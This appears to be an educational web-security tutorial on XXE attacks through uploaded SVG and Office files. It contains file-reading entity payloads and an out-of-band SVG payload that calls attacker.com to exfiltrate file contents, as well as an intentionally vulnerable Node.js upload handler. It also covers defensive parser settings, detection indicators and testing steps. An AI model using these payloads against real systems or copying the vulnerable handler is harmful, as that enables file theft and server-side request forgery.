File Upload XXE Vulnerabilities
XXE vulnerabilities in file upload functionality targeting XML-based file formats like SVG, DOCX, XLSX, and others.
Overview
File upload functionality presents a unique XXE attack surface when applications accept and process XML-based file formats. Many modern document and image formats contain XML data that may be parsed insecurely:
Vulnerable File Formats:
- SVG (Scalable Vector Graphics) - image files
- DOCX, XLSX, PPTX (Office Open XML) - Microsoft Office documents
- ODT, ODS, ODP (OpenDocument) - LibreOffice documents
- PDF - may contain embedded XML metadata
- RSS/Atom feeds
- GPX (GPS Exchange Format)
- KML (Keyhole Markup Language)
- SOAP attachments
Attack Scenario:
- User uploads crafted XML-based file
- Backend parses XML without proper security controls
- External entities are processed
- File disclosure, SSRF, or DoS occurs
Why This Is Dangerous:
- Developers may not realize file formats contain XML
- File upload validation often checks only file extensions/MIME types
- XML parsing may occur in background processing
- Applications trust file content from authenticated users
SVG File XXE Attack
1<?xml version="1.0" standalone="yes"?>
2<!DOCTYPE svg [
3 <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
6 <text x="20" y="35" font-size="20">&xxe;</text>
7</svg>SVG Out-of-Band XXE
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE svg [
3 <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
4 %remote;
5]>
6<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
7 <rect width="200" height="200" fill="red"/>
8 <text x="10" y="100">Malicious SVG</text>
9</svg>
10
11<!-- xxe.dtd on attacker server -->
12<!ENTITY % file SYSTEM "file:///etc/hostname">
13<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/log?d=%file;'>">
14%eval;
15%exfil;DOCX File XXE Attack
Microsoft Office Open XML files (.docx, .xlsx, .pptx) are ZIP archives containing XML files. The main content is in word/document.xml (for DOCX):
Attack Steps:
- Create/open DOCX file
- Unzip the archive
- Edit word/document.xml to include XXE payload
- Rezip and upload
Vulnerable XML Inside DOCX:
1<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2<!DOCTYPE root [
3 <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
4]>
5<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
6 <w:body>
7 <w:p>
8 <w:r>
9 <w:t>&xxe;</w:t>
10 </w:r>
11 </w:p>
12 </w:body>
13</w:document>Vulnerable Node.js File Upload Handler
1const express = require('express');
2const multer = require('multer');
3const libxmljs = require('libxmljs');
4const fs = require('fs');
5
6const app = express();
7const upload = multer({ dest: 'uploads/' });
8
9// Vulnerable: Parses uploaded SVG without security controls
10app.post('/upload/svg', upload.single('file'), (req, res) => {
11 if (!req.file) {
12 return res.status(400).send('No file uploaded');
13 }
14
15 // Read uploaded file
16 const xmlContent = fs.readFileSync(req.file.path, 'utf8');
17
18 // VULNERABLE: Default libxmljs settings allow external entities
19 try {
20 const xmlDoc = libxmljs.parseXml(xmlContent);
21
22 // Process SVG (e.g., resize, validate)
23 res.send('SVG processed successfully');
24 } catch (err) {
25 res.status(500).send('Processing failed');
26 }
27});Secure Node.js File Upload Handler
1const express = require('express');
2const multer = require('multer');
3const libxmljs = require('libxmljs');
4const fs = require('fs');
5
6const app = express();
7const upload = multer({
8 dest: 'uploads/',
9 fileFilter: (req, file, cb) => {
10 // Validate file type
11 if (file.mimetype !== 'image/svg+xml') {
12 return cb(new Error('Only SVG files allowed'));
13 }
14 cb(null, true);
15 }
16});
17
18app.post('/upload/svg', upload.single('file'), (req, res) => {
19 if (!req.file) {
20 return res.status(400).send('No file uploaded');
21 }
22
23 const xmlContent = fs.readFileSync(req.file.path, 'utf8');
24
25 try {
26 // SECURE: Disable external entity loading
27 const xmlDoc = libxmljs.parseXml(xmlContent, {
28 noent: false, // Disable entity substitution
29 nonet: true, // Disable network access
30 dtdload: false, // Disable DTD loading
31 dtdvalid: false // Disable DTD validation
32 });
33
34 // Additional validation: reject DOCTYPE
35 if (xmlContent.includes('<!DOCTYPE')) {
36 fs.unlinkSync(req.file.path); // Delete malicious file
37 return res.status(400).send('DOCTYPE not allowed');
38 }
39
40 res.send('SVG processed securely');
41 } catch (err) {
42 fs.unlinkSync(req.file.path); // Clean up
43 res.status(500).send('Processing failed');
44 }
45});Secure Python SVG Processing
1from flask import Flask, request
2from defusedxml.lxml import fromstring
3import os
4
5app = Flask(__name__)
6
7@app.route('/upload/svg', methods=['POST'])
8def upload_svg():
9 if 'file' not in request.files:
10 return 'No file uploaded', 400
11
12 file = request.files['file']
13
14 # Validate file extension
15 if not file.filename.endswith('.svg'):
16 return 'Only SVG files allowed', 400
17
18 # Read file content
19 svg_content = file.read()
20
21 try:
22 # SECURE: Use defusedxml which blocks XXE by default
23 svg_tree = fromstring(svg_content)
24
25 # Additional validation: check for DOCTYPE
26 if b'<!DOCTYPE' in svg_content:
27 return 'Invalid SVG: DOCTYPE not allowed', 400
28
29 # Process SVG safely
30 # ...
31
32 return 'SVG processed successfully', 200
33
34 except Exception as e:
35 return f'Processing failed: {str(e)}', 500
36
37if __name__ == '__main__':
38 app.run()Detection and Prevention Strategies
Detection Indicators:
- Uploaded files containing <!DOCTYPE declarations
- Files with <!ENTITY definitions
- Unusual outbound connections during file processing
- Files significantly larger than expected for format
- DOCTYPE references to external DTDs
Prevention Measures:
-
Disable XXE in Parsers: Configure XML parsers to reject external entities
-
Content Validation: • Reject files containing DOCTYPE declarations • Reject files with ENTITY definitions • Validate file structure against expected schema
-
File Type Controls: • Validate actual file content, not just extension • Use allowlist of permitted file formats • Consider converting XML-based formats to non-XML alternatives
-
Sandboxing: • Process uploaded files in isolated environment • Restrict network access from file processing servers • Run parsers with minimal privileges
-
Alternative Processing: • For images: convert SVG to raster format (PNG/JPEG) • For documents: extract text without full XML parsing • Use safer libraries that don't support external entities
-
Network Controls: • Block outbound connections from upload processing servers • Monitor for DNS queries during file processing • Alert on HTTP requests to external domains
Secure Java DOCX Processing
1import org.apache.poi.xwpf.usermodel.XWPFDocument;
2import org.apache.poi.openxml4j.opc.OPCPackage;
3import javax.xml.parsers.DocumentBuilderFactory;
4import java.io.FileInputStream;
5
6public class SecureDOCXProcessor {
7
8 public void processDocx(String filePath) throws Exception {
9 // Apache POI with secure XML parser configuration
10
11 // Configure secure XML factory for POI
12 System.setProperty(
13 "javax.xml.parsers.DocumentBuilderFactory",
14 "com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl"
15 );
16
17 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
18
19 // Disable XXE
20 factory.setFeature(
21 "http://apache.org/xml/features/disallow-doctype-decl",
22 true
23 );
24 factory.setFeature(
25 "http://xml.org/sax/features/external-general-entities",
26 false
27 );
28 factory.setFeature(
29 "http://xml.org/sax/features/external-parameter-entities",
30 false
31 );
32 factory.setExpandEntityReferences(false);
33
34 // Process DOCX with secured parser
35 try (FileInputStream fis = new FileInputStream(filePath)) {
36 OPCPackage pkg = OPCPackage.open(fis);
37 XWPFDocument doc = new XWPFDocument(pkg);
38
39 // Extract and process text securely
40 String text = doc.getText();
41 System.out.println("Extracted text: " + text);
42
43 doc.close();
44 pkg.close();
45 }
46 }
47}Testing File Upload XXE
Test Methodology:
-
Identify XML-Based Formats: Determine which file formats the application accepts
-
Create Malicious Files: • SVG with inline XXE payload • DOCX with XXE in document.xml • XLSX with XXE in sharedStrings.xml • PDF with XXE in metadata
-
Test Detection: • Upload file with simple file:// entity • Upload file with HTTP callback for OOB detection • Monitor for outbound connections
-
Test Exfiltration: • Attempt to read /etc/passwd (Linux) • Attempt to read C:\windows\win.ini (Windows) • Use parameter entities for blind exfiltration
-
Verify Processing: • Check if file content is displayed/processed • Look for evidence of entity expansion • Test different file format variations
Tools:
- SVG with XXE: Inkscape or text editor
- DOCX/XLSX: 7zip to unzip, edit XML, rezip
- XXE payloads: Burp Suite, custom scripts
- OOB detection: Burp Collaborator, interactsh